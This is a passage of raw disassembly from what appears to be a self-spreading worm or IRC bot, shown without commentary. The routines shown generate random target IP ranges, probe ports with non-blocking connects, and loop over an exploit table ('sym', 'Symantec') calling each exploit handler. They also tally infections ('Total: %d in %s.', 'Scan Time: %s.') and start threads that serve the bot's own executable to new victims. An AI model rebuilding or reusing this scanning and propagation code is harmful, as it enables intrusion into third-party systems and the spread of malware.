sub_40B374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B408	proc near		; CODE XREF: sub_40B2E0+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40B438
; ---------------------------------------------------------------------------


loc_40B422:				; CODE XREF: sub_40B408+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40B433
		cmp	dl, 2Ah
		jnz	short loc_40B445
		cmp	dl, 3Fh
		jnz	short loc_40B436


loc_40B433:				; CODE XREF: sub_40B408+1Fj
		inc	ecx
		mov	[edi], ecx


loc_40B436:				; CODE XREF: sub_40B408+29j
		inc	dword ptr [esi]


loc_40B438:				; CODE XREF: sub_40B408+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B422
		jmp	short loc_40B445
; ---------------------------------------------------------------------------


loc_40B442:				; CODE XREF: sub_40B408+40j
		inc	eax
		mov	[esi], eax


loc_40B445:				; CODE XREF: sub_40B408+24j
					; sub_40B408+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40B442
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40B467
		cmp	[eax], bl
		jz	short loc_40B45A
		xor	eax, eax
		jmp	short loc_40B4C4
; ---------------------------------------------------------------------------


loc_40B45A:				; CODE XREF: sub_40B408+4Cj
		cmp	dl, bl
		jnz	short loc_40B467
		cmp	[eax], bl
		jnz	short loc_40B467
		xor	eax, eax
		inc	eax
		jmp	short loc_40B4C4
; ---------------------------------------------------------------------------


loc_40B467:				; CODE XREF: sub_40B408+48j
					; sub_40B408+54j ...
		push	ecx
		push	eax
		call	sub_40B2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B4AE


loc_40B474:				; CODE XREF: sub_40B408+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40B486
; ---------------------------------------------------------------------------


loc_40B47A:				; CODE XREF: sub_40B408+86j
		cmp	cl, 5Bh
		jz	short loc_40B490
		cmp	dl, bl
		jz	short loc_40B490
		inc	eax
		mov	[edi], eax


loc_40B486:				; CODE XREF: sub_40B408+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40B47A


loc_40B490:				; CODE XREF: sub_40B408+75j
					; sub_40B408+79j
		cmp	[eax], bl
		jz	short loc_40B4A5
		push	eax
		push	dword ptr [esi]
		call	sub_40B2E0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B4AA
; ---------------------------------------------------------------------------


loc_40B4A5:				; CODE XREF: sub_40B408+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B4AA:				; CODE XREF: sub_40B408+9Bj
		cmp	eax, ebx
		jnz	short loc_40B474


loc_40B4AE:				; CODE XREF: sub_40B408+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B4C1
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B4C1
		mov	[ebp+var_4], 1


loc_40B4C1:				; CODE XREF: sub_40B408+AAj
					; sub_40B408+B0j
		mov	eax, [ebp+var_4]


loc_40B4C4:				; CODE XREF: sub_40B408+50j
					; sub_40B408+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4C9	proc near		; CODE XREF: sub_401B66+2A9Cp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_432F78
		push	eax
		xor	ebx, ebx
		call	sub_41C056
		cmp	dword_432A90, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B53B
		push	esi
		mov	esi, offset dword_432A98


loc_40B4FC:				; CODE XREF: sub_40B4C9+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B531
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_432F6C
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C9B0
		add	esp, 1Ch


loc_40B531:				; CODE XREF: sub_40B4C9+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B4FC
		pop	esi


loc_40B53B:				; CODE XREF: sub_40B4C9+2Bj
		push	dword_4CD99C
		call	sub_41B05C
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C9B0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B597	proc near		; CODE XREF: sub_401B66+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D0764
		mov	ecx, dword_4D0760
		push	esi
		push	dword_4CD99C
		lea	esi, [ecx+eax]
		call	sub_41B05C
		push	eax
		push	esi
		push	dword_4D0764
		lea	eax, [ebp+var_200]
		push	dword_4D0760
		push	offset unk_432F98
		push	eax
		call	sub_41C056
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B597	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B602	proc near		; CODE XREF: sub_401B66+2A70p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CD99C
		call	sub_41B05C
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D0AA0
		push	offset unk_432FE0
		push	eax
		call	sub_41C056
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		add	esp, 2Ch
		leave
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B656	proc near		; CODE XREF: sub_401B66+2A5Ap

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C2F0
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_43302C
		push	eax
		call	sub_41C056
		cmp	dword_432A90, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B6C2
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B68B:				; CODE XREF: sub_40B656+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_43301C
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C9B0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B68B
		pop	esi


loc_40B6C2:				; CODE XREF: sub_40B656+2Dj
		push	dword_4CD99C
		call	sub_41B05C
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C9B0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4157A5
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40B656	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71C	proc near		; DATA XREF: sub_401B66+30ADo

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4CDCA4	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_432A90, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40B87B
		mov	esi, offset dword_432A90
		mov	ebx, offset aSym ; "sym"


loc_40B770:				; CODE XREF: sub_40B71C+159j
		push	[ebp+var_1C]
		push	dword ptr [esi]
		push	[ebp+var_8]
		call	sub_40BF0D
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B86A
		push	dword ptr [esi]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_43307C
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409982
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_4157A5
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_41C056
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40B805
		lea	eax, [ebp+var_124]


loc_40B805:				; CODE XREF: sub_40B71C+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41C056
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [esi]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40B86A:				; CODE XREF: sub_40B71C+67j
		inc	[ebp+arg_0]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_40B770


loc_40B87B:				; CODE XREF: sub_40B71C+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_433048
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409982
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_4157A5
		push	[ebp+var_18]
		call	sub_40B2A3
		add	esp, 2Ch
		push	edi
		call	dword_4280CC	; ExitThread
sub_40B71C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8CE	proc near		; CODE XREF: sub_401B66+2375p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_40B90A
		mov	eax, [ebp+arg_C]
		push	dword_4CDDA8[eax*8]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4330CC
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	short loc_40B91D
; ---------------------------------------------------------------------------


loc_40B90A:				; CODE XREF: sub_40B8CE+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4330AC
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_40B91D:				; CODE XREF: sub_40B8CE+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		add	esp, 18h
		leave
		retn
sub_40B8CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B945	proc near		; CODE XREF: sub_40C1BE+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BE25
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_432A9C[eax], ebx
		jz	loc_40BE25
		push	5
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jnz	loc_40BBBF
		mov	eax, dword_42A07C
		push	edi
		mov	esi, offset dword_4CFE64
		push	104h
		push	esi
		push	ebx
		mov	dword_4D0074, eax
		mov	dword_4D0070, ebx
		call	dword_428074	; GetModuleFileNameA
		mov	edi, offset byte_42A10C
		push	103h
		push	edi
		push	offset dword_4CFF68
		call	sub_41BDC0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CFE60, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D00F8, eax
		jnz	short loc_40B9F5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0078
		call	sub_41BDC0
		mov	dword_4D00FC, 1
		jmp	short loc_40BA0C
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40B945+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D0078
		call	sub_41BDC0
		mov	dword_4D00FC, ebx


loc_40BA0C:				; CODE XREF: sub_40B945+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D0074
		push	offset unk_42D518
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40AF8D
		add	esp, 1Ch
		mov	dword_4D006C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CFE60
		push	offset sub_411DF4
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, dword_4D006C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	loc_40BB10
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4331EC
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_40BA8A:				; CODE XREF: sub_40B945+1D3j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A5
		mov	eax, dword_4CD998
		mov	esi, offset dword_4D010C
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4D031C, eax
		mov	dword_4D0318, ebx
		call	dword_428074	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4D0210
		call	sub_41BDC0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D0108, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D03A0, eax
		push	7Fh
		jnz	short loc_40BB1D
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0320
		call	sub_41BDC0
		mov	dword_4D03A4, 1
		jmp	short loc_40BB34
; ---------------------------------------------------------------------------


loc_40BB08:				; CODE XREF: sub_40B945+1D1j
		push	32h
		call	dword_428064	; Sleep


loc_40BB10:				; CODE XREF: sub_40B945+124j
		cmp	dword_4D0100, ebx
		jz	short loc_40BB08
		jmp	loc_40BA8A
; ---------------------------------------------------------------------------


loc_40BB1D:				; CODE XREF: sub_40B945+1A7j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D0320
		call	sub_41BDC0
		mov	dword_4D03A4, ebx


loc_40BB34:				; CODE XREF: sub_40B945+1C1j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D031C
		push	offset unk_4331B8
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40AF8D
		add	esp, 1Ch
		mov	dword_4D0314, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0108
		push	offset sub_40F23F
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, dword_4D0314
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	loc_40BC38
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433184
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_40BBB2:				; CODE XREF: sub_40B945+2FBj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_40BBBF:				; CODE XREF: sub_40B945+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_432AA4[ecx], ebx
		jz	loc_40BCEC
		push	7
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jnz	loc_40BCE6
		mov	eax, dword_4D0A9C
		cmp	[ebp+arg_90], bl
		mov	dword_4CFDCC, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CFDC0, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CFDC8, ebx
		mov	dword_4CFE50, eax
		push	7Fh
		jnz	short loc_40BC45
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CFDD0
		call	sub_41BDC0
		mov	dword_4CFE54, 1
		jmp	short loc_40BC5C
; ---------------------------------------------------------------------------


loc_40BC30:				; CODE XREF: sub_40B945+2F9j
		push	32h
		call	dword_428064	; Sleep


loc_40BC38:				; CODE XREF: sub_40B945+24Cj
		cmp	dword_4D03A8, ebx
		jz	short loc_40BC30
		jmp	loc_40BBB2
; ---------------------------------------------------------------------------


loc_40BC45:				; CODE XREF: sub_40B945+2CFj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CFDD0
		call	sub_41BDC0
		mov	dword_4CFE54, ebx


loc_40BC5C:				; CODE XREF: sub_40B945+2E9j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	dword_4CFDCC
		push	offset unk_433154
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40AF8D
		add	esp, 18h
		mov	dword_4CFDC4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CFDC0
		push	offset sub_40EF9D
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, dword_4CFDC4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	loc_40BDDE
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43311C
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_40BCD9:				; CODE XREF: sub_40B945+4A1j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_40BCE6:				; CODE XREF: sub_40B945+29Bj
		mov	eax, [ebp+arg_130]


loc_40BCEC:				; CODE XREF: sub_40B945+28Bj
		shl	eax, 6
		cmp	dword_432AA0[eax], ebx
		jz	loc_40BE25
		push	3
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jnz	loc_40BE25
		mov	esi, offset dword_4D063C
		push	104h
		push	esi
		push	ebx
		call	dword_428074	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41C610
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BD2D
		mov	[eax], bl


loc_40BD2D:				; CODE XREF: sub_40B945+3E4j
		mov	eax, dword_4CDB04
		mov	dword_4D0754, ebx
		mov	dword_4D0740, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D03B4
		call	sub_41C056
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D03B0, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D0740
		mov	dword_4D074C, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D0750, ecx
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42D4A0
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	dword_4D0748, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D03B0
		push	offset sub_40F956
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, dword_4D0748
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jz	short loc_40BDFD
		jmp	short loc_40BDF3
; ---------------------------------------------------------------------------


loc_40BDD6:				; CODE XREF: sub_40B945+49Fj
		push	32h
		call	dword_428064	; Sleep


loc_40BDDE:				; CODE XREF: sub_40B945+373j
		cmp	dword_4CFE58, ebx
		jz	short loc_40BDD6
		jmp	loc_40BCD9
; ---------------------------------------------------------------------------


loc_40BDEB:				; CODE XREF: sub_40B945+4B4j
		push	32h
		call	dword_428064	; Sleep


loc_40BDF3:				; CODE XREF: sub_40B945+48Fj
		cmp	dword_4D075C, ebx
		jz	short loc_40BDEB
		jmp	short loc_40BE18
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_40B945+48Dj
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4330E8
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_40BE18:				; CODE XREF: sub_40B945+4B6j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_40BE25:				; CODE XREF: sub_40B945+14j
					; sub_40B945+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40B945	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE29	proc near		; CODE XREF: sub_40BFAA:loc_40C00Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CDDA8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CDB8C	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CDC60	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	near ptr sub_41CAE0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BE29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE71	proc near		; CODE XREF: sub_40BFAA+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B7B0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40BE99
		xor	eax, eax
		jmp	short loc_40BF0A
; ---------------------------------------------------------------------------


loc_40BE99:				; CODE XREF: sub_40BE71+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CE15
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40BEC6
		call	sub_41C0B2
		mov	[ebp+var_C], eax


loc_40BEC6:				; CODE XREF: sub_40BE71+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40BED3
		call	sub_41C0B2
		mov	[ebp+var_8], eax


loc_40BED3:				; CODE XREF: sub_40BE71+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40BEE0
		call	sub_41C0B2
		mov	[ebp+var_4], eax


loc_40BEE0:				; CODE XREF: sub_40BE71+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40BEEC
		call	sub_41C0B2


loc_40BEEC:				; CODE XREF: sub_40BE71+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CDDA8[ecx*8], eax


loc_40BF0A:				; CODE XREF: sub_40BE71+26j
		pop	esi
		leave
		retn
sub_40BE71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF0D	proc near		; CODE XREF: sub_40B71C+5Cp
					; sub_40BFAA+A9p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CDCE4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BF36
		xor	eax, eax
		jmp	short loc_40BFA5
; ---------------------------------------------------------------------------


loc_40BF36:				; CODE XREF: sub_40BF0D+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CDD00	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CDC0C	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CDC4C	; select
		push	esi
		mov	edi, eax
		call	dword_4CDCFC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40BFA5:				; CODE XREF: sub_40BF0D+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFAA	proc near		; DATA XREF: sub_40C1BE+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
